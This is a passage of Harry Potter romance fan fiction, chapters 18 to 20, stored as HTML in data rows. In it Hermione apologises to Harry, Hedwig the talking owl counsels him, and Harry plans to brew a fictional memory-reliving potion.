	(169, 18, ' <b><font size="2"><p>Chapter 18 - Harry Sleeps</p>\n\n</font></b><font size="2">\n\n<p>&#8220;Harry?&#8221; said Hermione, after knocking on his Head Room door. There was no answer. &#8220;Harry,&#8221; she tried again and still there was no answer from Harry or anyone else who could&#8217;ve been in that room. She knew he was in there. She could feel it&#8230;</p>\n\n<p>As if it were the most natural thing to do, Hermione turned to check the doorknob. Surprisingly, it was unlocked. She slowly pushed the door open with a small creek and peered inside. She saw Harry lying on the bed and Hedwig stood at his desk, fast asleep, her head under her wing.</p>\n\n<p>Hermione crept over to the side of Harry&#8217;s bed, first glancing at Hedwig and noting how cute she looked, then looked down at Harry with a somewhat disappointed look on her face. She sighed sadly. She thought about what she was going to do as she hugged the one of the books he had given to her for Christmas to her chest. How was she going to thank him now? </p>\n\n<p>She could easily thank him later, but she really insisted on telling him now. Harry deserved, not only a thank you, but also an apology from her stupid actions and yelling at him for who knows what; however, she really didn&#8216;t want to wake him either. Harry shifted in his sleep, which startled Hermione a bit and she held her breath. Would he retaliate for her yelling at him just like when he had snuck in her room?</p>\n\n<p>Staring down at him, she watched Harry in his sleep. He looked like he was in a very comfortable snuggling position under his blanket that was covering him from the neck down. You could see the blanket rise and fall with every slow steady breath he took. Hermione shook her head sadly; whether she liked it or not, she was going to have to talk to him later. When that was, she didn&#8217;t know.</p>\n\n<p>&#8220;I&#8217;m so sorry Harry&#8230;&#8221; whispered Hermione apologetically, as if he could hear her. &#8220;I&#8217;ve been so stupid. I hope you can forgive me&#8230;&#8221; Harry still lay in his bed, unaware of anything going on around him.</p>\n\n<p>&#8220;Good night Harry,&#8221; sighed Hermione sadly, turning around and helping herself out the door, still hugging the book to her chest. It was too bad Harry didn&#8217;t hear him, but a certain white and nocturnal creature did&#8230; </p>\n\n<p>***</p>\n\n<p>Hedwig, who had heard the door creak open, popped open one eye to look who the intruder was. She discreetly kept her eye open at bay, occasionally closing it when Hermione looked her way, to see what she was up to.</p>\n\n<p>Hermione wasn&#8217;t in the room for a very long time, but she was in long enough for Hedwig to hear every single word Hermione had said.</p>\n\n<p>&#8220;That Hermione,&#8221; Hedwig thought to herself. &#8220;Knows where her heart stands&#8230; if only she <i>knew</i> who it was&#8230; and he sleeps right in front of her.&#8221; Hedwig shifted warmly in her spot, hoping that Hermione didn&#8217;t see her.</p>\n\n<p>&#8220;Oh Harry,&#8221; thought Hedwig again. &#8220;If only you could see Hermione now&#8230;&#8221; Just as she herself left the room and closed the door behind her with a small click&#8230;</p>\n\n<b><p>A/N: Yes yes I know, it&#8217;s a very short chapter and I apologize for that. From now on (hopefully), the story should pick up from here. And maybe a little treat on things to come so if you don&#8217;t want to be spoiled, don&#8217;t scroll to far down&#8230;</p>\n\n<p>**</p>\n\n<p>**</p>\n\n<p>***</p>\n\n<p>**</p>\n\n<p>*</p>\n\n<p>**</p>\n\n<p>***</p>\n\n<p>*****</p>\n\n<p>**</p>\n\n<p>**</p>\n\n<p>***</p>\n\n<p>***</p>\n\n<p>***</p>\n\n<p>***</p>\n\n<p>As the story progresses&#8230;</p>\n\n<p>There will be a Valentines Day Dance&#8230;</p>\n\n<p>Harry will speak to his new younger friend&#8230;</p>\n\n<p>Hermione will finally see all&#8230; how? Let&#8217;s just say there&#8217;s a magical way&#8230; that <u>Secret&#8217;s of Potions: Made Easy</u> wasn&#8217;t mentioned in the story or no reason you know&#8230; </p></b></font>\n\n '),
	(169, 19, ' <b><font size="2"><p>Chapter 19 - Day and a Half Later</p>\n\n</font></b><font size="2">\n\n<p>It was very late in the day the next day when Harry woke up. He sleepily glanced at the picture of Hermione on his desk and sat up. It was snowing softly outside, covering the grounds with white everywhere. There was a tapping noise on his window, which automatically told him that it was Hedwig.</p>\n\n<p>&#8220;Open Harry!&#8221; she said, though her voice was muffled behind the glass. Harry put on his glasses and sprang out of bed to the window; he felt the piercing cold for a moment to let Hedwig in and slammed the window shut allowing some of the snow to sprinkle on the floor. &#8220;Thank you&#8230;&#8221; She flew on top of Harry&#8217;s desk and shook, making a little more flecks of snow go on his desk.</p>\n\n<p>&#8220;What were you doing out there anyway?&#8221; yawned Harry, his sudden adrenaline rush to get Hedwig inside suddenly gone. He sat down on his bed and looked at her. &#8220;It&#8217;s <i>freezing!&#8221;</i></p><i>\n\n</i><p>&#8220;Just thought I&#8217;d fly a little,&#8221; said Hedwig matter-of-factly. &#8220;You know - to kill time&#8230;&#8221;</p>\n\n<p>Harry smiled. He felt so happy to be rested that he didn&#8217;t notice Hedwig&#8217;s feeble way of being peculiar. &#8220;You&#8217;re one weird owl, Hedwig. Don&#8217;t you hibernate like the rest of the species?&#8221;</p>\n\n<p>&#8220;You were asleep for a long time Harry,&#8221; said Hedwig, ignoring him. &#8220;It&#8217;s very relevant, considering that you weren&#8217;t hurt in any way.&#8221; Harry grinned knowingly; the only times he had ever slept for long periods were when he had been seriously injured. &#8220;I see you gave Hermione the books&#8230;&#8221;</p>\n\n<p>Harry&#8217;s face fell slightly. &#8220;Yeah I did&#8230;&#8221; He chuckled pathetically to himself. &#8220;Not even a thank you&#8230;&#8221;</p>\n\n<p>&#8220;Ah, but you are wrong Mr. Potter!&#8221; said Hedwig dignitly. &#8220;Hermione was in here&#8230;&#8221;</p>\n\n<p>&#8220;When&#8230;? Where - ? How - ?&#8221;</p>\n\n<p>&#8220;When you were sleeping,&#8221; said Hedwig, smiling at Harry. She told him how she had awoken and inconspicuously watched Hermione enter the room.</p>\n\n<p>&#8220;She&#8217;s not mad then&#8230;?&#8221; asked Harry softly.</p>\n\n<p>&#8220;Of course not Harry,&#8221; assured Hedwig. &#8220;She sort of talked to you in your sleep. Said something about being sorry and wanting to thank you for the gift you gave her. She seemed very keen to talk to you, you know. She just didn&#8217;t want to wake you up and I praise her for that. She knew that you were going through a lot, more than she knew anyway&#8230;&#8221;</p>\n\n<p>Harry smiled again. How did such an outrageous owl like her end up with him?</p>\n\n<p>&#8220;So I guess,&#8221; said Harry tentatively, reading the look on Hedwig&#8217;s face, &#8220;that I&#8217;m going to have to go talk to her then?&#8221;</p>\n\n<p>&#8220;Finally!&#8221; said Hedwig jovially. &#8220;Now you&#8217;re starting to make sense! Hermione&#8217;s in her room, you know, just thought you&#8217;d want to know&#8230; &#8221;</p>\n\n<p>***</p>\n\n<p>After getting dressed, Harry walked nervously toward Hermione&#8217;s room, running through what he was going to say to her in his head carefully since he wanted to make sure that this was going to go on smoothly and painlessly as possible. He stopped in front of Hermione&#8217;s door, took a deep breath and knocked. He could hear some sort of clambering behind the door and after a few seconds, the door sprang open and there was Hermione, dressed casually and looking as pretty as ever.</p>\n\n<p>&#8220;Hi,&#8221; said Harry awkwardly. It was like talking to a complete stranger all of a sudden. He could feel heat rise to his face. Hermione gave him a hopeful and shy no-toothed smile.</p>\n\n<p>&#8220;You&#8217;re talking to me again,&#8221; she said, more in a hopeful way than a statement.</p>\n\n<p>&#8220;Can I&#8230; come in? That is only if you&#8217;re not busy&#8221; added Harry, looking apprehensive.</p>\n\n<p>&#8220;No, come in,&#8221; said Hermione. Her voice was calm and careful, like she was watching what she was saying. Harry stared around her room. It very much fitted her personality; there were rows of books everywhere and everything was neat and organized, just how he remembered it when he was in there to, at the time, to leave the books discreetly for her.</p>\n\n<p>&#8220;Hermione -&#8221;</p>\n\n<p>But at that moment he had turned around to talked to her, she flung herself forward and threw her arms around his neck, shaking slightly. Harry stumbled backward a bit, taken aback by her sudden action. &#8220;What - ?&#8221;</p>\n\n<p>&#8220;I&#8217;m so sorry Harry!&#8221; said Hermione into his upper shoulder. She wasn&#8217;t crying but her words sounded like she was on the verge of tears.</p>\n\n<p>&#8220;Oh Hermione,&#8221; said Harry comfortingly, rubbing his hand up and down her back. </p>\n\n<p>&#8220;It&#8217;s all my fault!&#8221; she said hysterically, her voice sort of muffled by his shoulder. &#8220;I was being really stupid and I shouldn&#8217;t have reacted that way! I should have been more understanding and more aware of your feelings! I didn&#8217;t mean to yell at you like that when you came into my room. I just wasn&#8217;t thinking clearly, it must have been so early in the morning and&#8230;&#8221;</p>\n\n<p>&#8220;Hermione!&#8221; said Harry, almost laughing. She had said that all very fast in a whimpering sort of way, something that Harry found very cute.</p>\n\n<p>&#8220;Harry I&#8217;m so s -&#8221;</p>\n\n<p>&#8220;Forget it,&#8221; said Harry.</p>\n\n<p>&#8220;No really, I shouldn&#8217;t have acted -&#8221;</p>\n\n<p>&#8220;I said forget it,&#8221; said Harry in a final sort of way. Hermione looked up at him, her eyes shiny with tears, and smiled at him. She let go of him, sat on her bed and hugged her knees to her chest.</p>\n\n<p>&#8220;Thanks for the books Harry,&#8221; said Hermione, her voice still soft and shaky from tears.</p>\n\n<p>Harry grinned sheepishly at her. &#8220;I knew you&#8217;d like them&#8230;&#8221;</p>\n\n<p>&#8220;They&#8217;re wonderful!&#8221; said Hermione, her voice gradually getting in high spirits. &#8220;It&#8217;s like <i>Hogwarts: A History </i>but much better! There are some old things in there, and there are new things in there too! I even think it mentions us somewhere in there!&#8221;</p>\n\n<p>Harry&#8217;s grin got a little bigger, still showing no teeth. &#8220;I&#8217;m glad you like them&#8230;&#8221;</p>\n\n<p>&#8220;I love them!&#8221; exclaimed Hermione. &#8220;But -&#8221;</p>\n\n<p>Harry, still smiling at Hermione with his no toothed smile, raised his eyebrows amusingly very slightly. He knew what she was going to ask.</p>\n\n<p>&#8220;Those books are not to be released until much later! Where on earth did you get them?&#8221;</p>\n\n<p>Harry finally smiled fully at Hermione, hoping that he didn&#8217;t too stupid. &#8220;That&#8217;s my little secret.&#8221;</p>\n\n<p>Hermione frowned. &#8220;I hope you didn&#8217;t do anything <i>illegal</i> to get them!&#8221;</p>\n\n<p>&#8220;Of course not!&#8221; said Harry astonished. &#8220;Let&#8217;s just say that I got very lucky in meeting new people.&#8221; He sat himself on Hermione&#8217;s bed, right next to her.</p>\n\n<p>&#8220;Those books are wonderful Harry,&#8221; Hermione smiled back at him, believing what he had said about the books. &#8220;How can I ever thank you enough?&#8221;</p>\n\n<p>&#8220;You already have Hermione&#8230; Trust me, you have,&#8221; added Harry, seeing Hermione look very unsure. &#8220;You and I being back on good terms again is more than enough to thank me.&#8221;</p>\n\n<p>&#8220;I hope you can forgive me?&#8221;</p>\n\n<p>&#8220;Already have.&#8221;</p>\n\n<p>There was a pause in which Hermione got off the bed and grabbed <i>Hogwart&#8217;s: A Revised History Vol II </i>off her desk and joined Harry back on the bed. She flipped through a few pages and stopped when she had apparently saw something of great interest and began to read, her eyes darting across the page.</p>\n\n<p>&#8220;You&#8217;ve read the first one already!?&#8221; said Harry incredulously.</p>\n\n<p>&#8220;Just last night,&#8221; said Hermione indifferently. &#8220;I couldn&#8217;t put it down&#8230;&#8221;</p>\n\n<p>&#8220;Apparently not&#8230;&#8221;</p>\n\n<p>&#8220;You were asleep for a long time Harry,&#8221; said Hermione out of nowhere, stopping her reading to look at him with concern. &#8220;About a day and a half. Are you feeling ok?&#8221;</p>\n\n<p>&#8220;Fine,&#8221; assured Harry. &#8220;I was just very tired that&#8217;s all.&#8221;</p>\n\n<p>&#8220;How are you feeling now?&#8221; asked Hermione, still apprehensive.</p>\n\n<p>&#8220;Rested,&#8221; said Harry truthfully. &#8220;Looks like I&#8217;m going to be ok.&#8221;</p>\n\n<p>There was a another pause in which Hermione stared at him, as if she was some amazing doctor that could tell how a person was feeling by simply looking at them. She sighed satisfactorily and put her attention back to <i>Hogwart&#8217;s: A Revised History Vol II</i>. Suddenly there was a knock on the door.</p>\n\n<p>&#8220;Come in,&#8221; said Hermione, not looking up from her book.</p>\n\n<p>&#8220;Oh there he is!&#8221; said Ron coming into the room hand-in-hand with Rachel, dragging her. He looked at Harry. &#8220;I thought you were still in bed. Are you sick or something?&#8221;</p>\n\n<p>&#8220;He&#8217;s not,&#8221; said Hermione, before Harry could answer, looking up from her book.</p>\n\n<p>&#8220;Are those the books that Harry gave you?&#8221; asked Rachel, looking at the extraordinary spine on the book, as if it were bewitched to grow.</p>\n\n<p>&#8220;Yes!&#8221; said Hermione, her face glowing. &#8220;They&#8217;re wonderful aren&#8217;t they?&#8221;</p>\n\n<p>&#8220;I&#8217;m sure they are,&#8221; said Ron sarcastically. Hermione glared at him and returned to her book. &#8220;Anyways Harry,&#8221; he said, ignoring Hermione and still holding Rachel&#8217;s hand, &#8220;you all right?&#8221;</p>\n\n<p>&#8220;Yeah, I&#8216;m fine.&#8221; said Harry, yawning and scratching the back of his head. &#8220;So what have I missed since I&#8217;ve been out? Anything important?&#8221;</p>\n\n<p>&#8220;Just one thing,&#8221; answered Ron.</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;Well, you remember that thing where Dumbledore randomly selects whether a Ball will be formal attire and if partners are required?&#8221; asked Rachel.</p>\n\n<p>&#8220;There&#8217;s another Ball coming up?&#8221; said Harry, half exasperated.</p>\n\n<p>&#8220;A Valentines Day Ball,&#8221; explained Rachel, standing on tiptoe and kissing Ron. </p>\n\n<p>Harry turned away awkwardly and stole a glance over at Hermione, her nose still buried into some page of <i>Hogwart&#8217;s: A Revised History Vol II. </i>She looked very indifferent at the matter. Ron and Rachel turned both their attention back to Harry.</p>\n\n<p>&#8220;So what&#8217;s the requirements of it?&#8221; he asked.</p>\n\n<p>&#8220;Semi-casual and partners are optional,&#8221; said Rachel, now clutching onto Ron&#8217;s arm.</p>\n\n<p>Harry found himself frowning, as though he were in deep concentration about something. &#8220;It&#8217;s sort of funny isn&#8217;t it? How this one where its supposed to be a <i>Valentines </i>Day Ball only to find that a <i>Valentine</i> isn&#8217;t needed to attend.&#8221;</p>\n\n<p>&#8220;Got any idea on who&#8217;re going to ask Harry?&#8221;</p>\n\n<p>Oh Harry knew exactly who he <i>wanted </i>to ask, but there was something deep down in his gut that didn&#8217;t feel right. Something deep down that told him something strange. Something that told him that&#8230;</p>\n\n<p>&#8220;If you really want to know, Ernie asked me, all right!&#8221; said Hermione exasperatedly, not taking her eyes of the book. Ron looked taken aback by her answer.</p>\n\n<p>&#8220;I was just <i>asking</i>,&#8221; he said. &#8220;No need to blow up at me!&#8221;</p>\n\n<p>&#8220;You know Ronald,&#8221; said Rachel with patience in her voice. &#8220;You can be a bit irritating at times, especially when you ask something&#8230;&#8221;</p>\n\n<p>&#8220;Thank you Rachel,&#8221; said Hermione coolly.</p>\n\n<p>Apparently Ron had asked Hermione who she was going to the ball with. He opened and closed his mouth a few times as if he wanted to say something, but decided best not to. He looked very uncomfortable and looked to change the subject.</p>\n\n<p>&#8220;Who do you want to ask Harry?&#8221; asked Rachel, looking at him interestingly.</p>\n\n<p>It was Harry&#8217;s turn to look uncomfortable.</p>\n\n<p>&#8220;You don&#8217;t have to tell us Harry,&#8221; came Hermione&#8217;s voice, very calm and very supporting. The book lay closed on her lap now and she gave him all of her attention. &#8220;Why don&#8217;t you surprise us?&#8221;</p>\n\n<p>He looked at her thankfully and appraisingly. &#8220;Ok I will&#8230;&#8221;</p>\n\n<p>*** </p>\n\n<p>Harry was pacing back and forth in his Head Boy room while Hedwig watched him on top of his desk. His hands were behind his back and he was staring at the ground with a glum look. Hedwig couldn&#8217;t take it any longer.</p>\n\n<p>&#8220;What troubles you Harry?&#8221;</p>\n\n<p>He went on to explain about the Ball conversation he, Ron, Hermione, and Rachel had in Hermione&#8217;s room.</p>\n\n<p>&#8220;What is it about that that makes you sad?&#8221; said Hedwig, looking at him with concern. &#8220;This is your chance.&#8221;</p>\n\n<p>&#8220;There is no chance,&#8221; said Harry, finally sitting on his bed, resting his elbows on his knees, and putting his head in his hands. &#8220;Once again Ernie has beat me to it&#8230;&#8221;</p>\n\n<p>&#8220;Oh I&#8217;m so sorry Harry&#8230;&#8221;</p>\n\n<p>&#8220;Don&#8217;t be,&#8221; said Harry still staring down at the floor. &#8220;It&#8217;s not your fault.&#8221;</p>\n\n<p>&#8220;That&#8217;s not the only thing that&#8217;s bothering you is it?&#8221; said Hedwig, as if looking right through him. &#8220;There&#8217;s something else&#8230;&#8221;</p>\n\n<p>Harry stood up and walked apathetically over to his desk where Hedwig was standing and sat in his chair, crossing his arms and resting them on the desk, looking deep into the amber eyes of Hedwig. </p>\n\n<p>&#8220;I&#8217;ve been thinking about the status between Hermione and me,&#8221; said Harry tentatively.</p>\n\n<p>&#8220;What&#8217;s to think about?&#8221; said Hedwig, her eyes going wide with surprise. &#8220;You two are best of friends and nothing is going to change that not even&#8230;&#8221;</p>\n\n<p>&#8220;Not even if I&#8217;m in love with Hermione?&#8221;</p>\n\n<p>Hedwig gazed back at Harry, unsure of where this conversation was going. She frowned at him.</p>\n\n<p>&#8220;Will our friendship change, should Hermione know that I am in love with her?&#8221; said Harry, his face not showing a sign of happiness.</p>\n\n<p>&#8220;Of course it will! It&#8217;ll be excellent because she&#8217;ll love you back and -!&#8221;</p>\n\n<p>&#8220;I&#8217;m talking about her <i>not </i>liking the idea of me being in love with her.&#8221;</p>\n\n<p>&#8220;But Harry -&#8221;</p>\n\n<p>&#8220;No, listen Hedwig,&#8221; said Harry, his voice strong and stable. &#8220;Doesn&#8217;t it seem odd that these past few years that I have liked Hermione, she has not shown a sign of returned love interest to me? Doesn&#8217;t it seem strange that I get no response from her whatsoever, from the compliments I give her, the dates I&#8217;ve taken her on, the gifts I&#8217;ve given her, the hints of love I&#8217;ve been gshowing her?&#8221;</p>\n\n<p>Hedwig still looked at Harry, looking very concerned and keen to hear more of what Harry had to say because she knew he wasn&#8217;t done yet.</p>\n\n<p>&#8220;These past two years have been really hard on me, trying so hard to get a girl to notice you and getting no response. It&#8217;s almost as if&#8230; she doesn&#8217;t <i>want </i>to see my hints of love&#8230;&#8221;</p>\n\n<p>Harry tore his gaze from Hedwig; he could feel his eyes getting moist.</p>\n\n<p>&#8220;Why didn&#8217;t I see it sooner? Why didn&#8217;t I get it the first few times Hermione didn&#8217;t say anything to me? I&#8217;ve only been hurting myself the whole time&#8230;&#8221;</p>\n\n<p>Hedwig ruffled her feathers uncomfortablely. &#8220;What are you saying Harry?&#8221; </p>\n\n<p>&#8220;Certainly Hermione noticed every single thing that I did!&#8221; said Harry, looking hopeful. &#8220;Nobody can be <i>that </i>thick can they?&#8221;</p>\n\n<p>&#8220;I don&#8217;t think -&#8221;</p>\n\n<p>&#8220;I don&#8217;t think that my effort to make Hermione notice that I like her as more than a friend is working,&#8221; said Harry sadly, looking at the smooth surface of his desk now.</p>\n\n<p>&#8220;What are you saying Harry?&#8221;</p>\n\n<p>He didn&#8217;t say anything. He just wet his lips and drooped his head more, till his chin almost touched his chest.</p>\n\n<p>&#8220;What are you saying Harry?&#8221; repeated Hedwig, thought she knew what he was going to say&#8230; </p></font>\n\n '),
	(169, 20, ' <b><font size="2"><p>Chapter 20 - Great Hall, Sleeping, Question, and Book</p>\n\n<p></p>\n\n</font></b><p><font size="2">Harry abruptly stood up out of his chair, turned his back to Hedwig, and looked through the window behind his desk. He sighed and put his hands in his pockets nonchalantly and stared out into the cold winter grounds. There were some students outside, enjoying some winter fun in the snow. Some were making snowmen, some were having snowball fights, and some were ice skating on top of the frozen lake. Harry, for a fleeting second had the memory of walking the outer edges of that lake with Hermione in their fourth year, during a time when Harry&#8217;s supposedly most loyal friend wasn&#8217;t talking to him.</font></p><font size="2">\n\n<p>&#8220;I&#8217;m giving up Hedwig,&#8221; said Harry, in a rather pathetic way. He continued to watch the grounds, not wanting to look directly at Hedwig.</p>\n\n<p>He could hear Hedwig sigh disapprovingly from behind him. &#8220;Is that what you really want to do? You want to not love Hermione anymore?&#8221;</p>\n\n<p>&#8220;No it&#8217;s not that!&#8221; said Harry, turning around and finally facing Hedwig. &#8220;I&#8217;m not giving up on loving her. I&#8217;ll still love her&#8230; there&#8217;s no stopping that&#8230; I&#8217;m just saying that&#8230; I give up in trying to make her notice me&#8230;&#8221;</p>\n\n<p>Hedwig looked at Harry much like a loving mother would do should her child be suffering. Harry was staring contently at Hedwig, not wanting to break the gaze any further. He looked so vulnerable and helpless behind those glasses and his eyes were glossy with tears. She could see that he was serious about this, yet it looked like it took a lot of will power to say it, and with every word he had said, it looked like it caused him a lot of pain.</p>\n\n<p>Harry slumped back into his chair, crossed his arms on the table, and rested his chin on them. He closed his eyes and his head swayed slightly. Hedwig walked to him and got as close as possible, putting a comforting wing on his shoulder. It was this that made Harry release himself and to let everything go. It was this that told him that everything was going to be ok and it was going to be all right. Harry could feel tears roll silently down his cheeks.</p>\n\n<p>&#8220;It&#8217;ll be ok Harry,&#8221; said Hedwig softly and very comfortingly. If she could hug him, she would have. &#8220;It&#8217;ll be ok&#8230;&#8221;</p>\n\n<p>***</p>\n\n<p>January was approaching and the end of the holidays was drawing to a close. It was early in the morning and Harry was alone in the Great Hall again for breakfast, looking at <i>Secrets of Potions: Made Easy. </i>There were some interesting potions in there: there were simple ones that made you fall asleep to some advanced potions that made people fall in love.</p>\n\n<p>Harry grinned. Love potions were banned from use in Hogwarts.</p>\n\n<p>A great white owl swooped down suddenly on the table where Harry was, causing his goblet to stir, his plate to tinkle and a few pages to ruffle.</p>\n\n<p>&#8220;Hi Hedwig,&#8221; said Harry, looking up from his book to look at her.</p>\n\n<p>&#8220;Hi Harry,&#8221; said Hedwig, shaking and ruffling her feathers. &#8220;You feeling ok?&#8221;</p>\n\n<p>This was what Hedwig always asked everytime she had come in contact with Harry. It had been a few days since Harry had &#8220;given up&#8221; on Hermione, and it looked that Harry was not getting any better. He looked tired and worn, his eyes baggy and his hair was sticking out in more directions than usual.</p>\n\n<p>&#8220;I&#8217;m wonderful,&#8221; answered Harry airily with no tone of &#8220;wonderfulness&#8221; in there. &#8220;I&#8217;ve never felt better.&#8221;</p>\n\n<p>&#8220;Still can&#8217;t sleep?&#8221; said Hedwig, looking sideways at him.</p>\n\n<p>&#8220;Not to a normal sleeping schedule,&#8221; yawned Harry, glancing back to <i>Secrets of Potions: Made Easy </i>for a second. &#8220;I&#8217;m sleeping all over the place and at weird times. I found myself sleeping on couches, in the library, with my head on my desk, and there was one time where I fell asleep standing up while leaning against a wall!&#8221;</p>\n\n<p>Hedwig tried to hide a smile. &#8220;You seem to handle your situation with Hermione very well.&#8221;</p>\n\n<p>&#8220;I have to don&#8217;t I?&#8221; said Harry matter-of-factly. &#8220;I don&#8217;t want to show any type of less than normal emotion toward her or to anybody. I don&#8217;t want them asking questions.&#8221;</p>\n\n<p>&#8220;So you&#8217;ve been putting on an act then?&#8221; she asked. &#8220;Can I have some of this?&#8221; She was motioning to his goblet of orange juice.</p>\n\n<p>&#8220;Sure, go ahead,&#8221; offered Harry. &#8220;And yes, I guess you can say that I&#8217;ve been putting on an act&#8230;&#8221;</p>\n\n<p>Hedwig had finished drinking out of Harry&#8217;s goblet. &#8220;And what is it about that book that you find so interesting?&#8221; She noticed Harry looking intently at it. &#8220;I hope you&#8217;re not turning into Hermione.&#8221;</p>\n\n<p>&#8220;This book has interesting potions in here,&#8221; said Harry, not taking his eyes of the book. He grinned to himself; he was starting to sound like Hermione. &#8220;I&#8217;m looking at one particular one in here&#8230;&#8221;</p>\n\n<p>&#8220;It&#8217;s not a love potion is it?&#8221; said Hedwig darkly.</p>\n\n<p>&#8220;Of course not Hedwig! Just listen to this.&#8221; Harry shifted in his seat and began to read to her.</p>\n\n<i><p>&#8220;While there is no real name for this particular potion, it is usually referred to as the &#8220;Reliving Potion&#8221;. What this potion does, should one brew it correctly, is make one who takes the potion relive past events in ones own life. After the potion is taken, should one close his or her eyes, he or she will be able to relive past moments in time (how far back is explained in the instructions) as if the person were having a dream about it, only that compared to a normal dream, you feel see and feel everything that had happened in the desired past moment. For example, ever wondered what it felt like to have your very first birthday, when you were far too young to remember? Or ever want to remember what it felt like to go on a very exciting trip?&#8221;</p>\n\n<p>&#8220;This potion is strictly for entertainment purposes only. It should be noted that this is a very advanced potion to make, considering it found in this book. The only risks are not brewing the potion properly (which can lead to only very minor side effects). For best results, take the potion just before bed.&#8221;</p>\n\n</i><p>Harry finished and looked back at Hedwig. She looked very confused at the matter.</p>\n\n<i>\n\n</i><p>&#8220;So what is it that you want to relive Harry?&#8221; she asked, frowning.</p>\n\n<i>\n\n</i><p>&#8220;I&#8217;ll tell you when I relive it,&#8221; said Harry, stowing away the book to one side, and finishing his cereal. &#8220;It says that the potion is advanced and that it&#8217;ll take quite a while for it to brew. It states that it is a distant relative to the Polyjuice Potion.&#8221; </p>\n\n<i>\n\n</i><p>&#8220;You&#8217;re not telling me that you actually want to make this thing do you?&#8221; said Hedwig as if the idea of it were mad.</p>\n\n<i>\n\n</i><p>&#8220;Of course I do,&#8221; said Harry, ignoring Hedwig&#8217;s attempt to persuade him not to do it.</p>\n\n<p>&#8220;What are you going to get out of this Harry?&#8221; asked Hedwig, trying to reason with him. </p>\n\n<p>Harry couldn&#8217;t believe at how hostile Hedwig was on the matter. It wasn&#8217;t like it was dangerous or something like that. It had clearly stated that for an advanced potion, the risks were very little.</p>\n\n<p>&#8220;I&#8217;m just going to keep myself occupied with this potion,&#8221; said Harry, as if that saying it would settle the matter.</p>\n\n<p>&#8220;I just don&#8217;t want you wasting your time on something where you&#8217;re not going to get anything significant out of it!&#8221; said Hedwig, almost pleadingly now.</p>\n\n<p>&#8220;You said to keep myself occupied with activities so that I can sort of take my mind off of Hermione,&#8221; said Harry coolly. </p>\n\n<p>&#8220;But&#8230; but&#8230;&#8221;</p>\n\n<p>&#8220;I&#8217;m going to keep myself occupied with this potion, take it myself, and hopefully relive some past memories that I miss,&#8221; said Harry in a final sort of way, though with the respect that one would talk to his mother in.</p>\n\n<p>Over the next half hour or so, the Great Hall started filling in with students still looking tired from just waking up. Harry was the only one in there that looked to be the most awake out of everyone. That was saying something, since Harry was not getting any sleep at all. There were chunks of students here and there, leaving large gaps of spaces between groups of students. One person decided to join Harry in his secluded space at his table.</p>\n\n<p>&#8220;Hi Hermione,&#8221; said Harry, smiling at her and looking from his bowl of cereal.</p>\n\n<p>&#8220;Morning Harry,&#8221; smiled Hermione, sitting on his right. She propped her head against her hand and yawned. She looked very tired herself</p>\n\n<p>&#8220;She looks so beautiful, doesn&#8217;t she Harry?&#8221; hooted Hedwig teasingly.</p>\n\n<p>&#8220;Shut up Hedwig!&#8221; Harry hooted back, almost smiling because Hedwig knew that it was what Harry was thinking.</p>\n\n<p>&#8220;Hi Hedwig,&#8221; said Hermione, smiling at her and stroking her wing with her free hand. &#8220;I&#8217;d always thought it was cute how you two hoot to each other like that,&#8221; added Hermione, now looking at Harry but still stroking Hedwig.</p>\n\n<p>&#8220;Just a little fun pet thing she and I do,&#8221; said Harry playfully, almost blushing. &#8220;It&#8217;ll be kind of sad you know, having a friend for about 7 years and not have a conversation with each other.&#8221;</p>\n\n<p>Hermione giggled and continued to stoke away at Hedwig. There was a long silence and Harry took the opportunity to finish his cereal.</p>\n\n<p>\n\n</p>\n\n<p>&#8220;You&#8217;re up early&#8230; again,&#8221; said Hermione next to him. She had stopped stoking Hedwig and he also noticed how close she had scooted to him now; their shoulders were almost touching.</p>\n\n<p>&#8220;I can&#8217;t sleep,&#8221; said Harry, almost dreadfully. It was no use trying to hide his tiredness from her; she could see right through him. He could feel the warmth coming from Hermione&#8217;s body.</p>\n\n<p>&#8220;Are you feeling all right?&#8221; asked Hermione with concern, scooting over to him closer. She put her left arm around him and rested her hand on his shoulder and put her right hand to his forehead. Harry closed his eyes intoxicatingly and took a quick intake of air that was barely audible as she made contact. He could feel a tingling sensation from the tips of his hair run through his body all the way down to his feet. It felt so good to be touched by Hermione. &#8220;Yes&#8230; I feel ok&#8230;&#8221;</p>\n\n<p>&#8220;You don&#8217;t seem to have a fever&#8230;&#8221;</p>\n\n<p>Harry gulped and concentrated on the sensation of Hermione&#8217;s hands. Whether or not she was touching his shoulder and his forehead didn&#8217;t matter; the skin on skin contact with Hermione was something that he loved, something that he hadn&#8217;t felt in a long time, something that he almost had forgotten about. His breathing was low, soft, and deep.</p>\n\n<p>&#8220;Harry?&#8221;</p>\n\n<p>He fluttered his eyes open and turned slightly to Hermione. She was smiling sheepishly at him, one of those cute &#8220;Hermione can only do&#8221; smiles. He also become aware that Hermione had not let go of him. It was a good thing she didn&#8217;t have a hand on his chest, otherwise she could feel how fast his heart was beating.</p>\n\n<p>&#8220;Are you sure you&#8217;re ok?&#8221; she asked, half smiling at him and still not letting go. &#8220;You don&#8217;t feel sick, but you look drowsy.&#8221;</p>\n\n<p>&#8220;It&#8217;s&#8230; it&#8217;s too early in the morning,&#8221; replied Harry stupidly. He was looking in her eyes now and noticed that she had very subtle and very little, light freckles on her face.</p>\n\n<p>&#8220;I bet you&#8217;re just thinking about something before you go to sleep,&#8221; said Hermione, finally breaking her hold on him. &#8220;You just have insomnia.&#8221;</p>\n\n<p>Harry groaned softly so that Hermione didn&#8217;t hear him. No, don&#8217;t let go&#8230;</p>\n\n<p>&#8220;Could I have some of that?&#8221; asked Hermione. She was motioning toward his goblet of orange juice. </p>\n\n<p>&#8220;Sure,&#8221; said Harry gratefully, yawning softly at the same time. &#8220;You can finish it if you want.&#8221;</p>\n\n<p>He had expected Hermione to take the goblet and to create space that was once between them. Instead, she reached for the goblet and brought it to her mouth, her seat planted firmly into the spot very close to him. Harry became aware of how self-conscious he was getting; Hermione being this close was particularly dangerous. He pretending to be eating his cereal, but watched through the corner of his eye Hermione drink out of his goblet. Her eyes were closed and her hair falling back from her face as she tilted the goblet toward her. When did Hermione look so pretty drinking out of a goblet? When she lowered it from her face with a satisfying sigh, having finished drinking all of the orange juice, Harry again expected her to create the space that was once between them. Instead, she put the goblet back down on the table and stayed firmly in her spot, still very close to him.</p>\n\n<p>&#8220;Thank you&#8230;&#8221; she said appreciatively, almost distantly.</p>\n\n<p>But Harry was surprise by something else instead; she had scooted even closer to him now that the sides of both of their bodies were completely touching; it was like they were joined at the 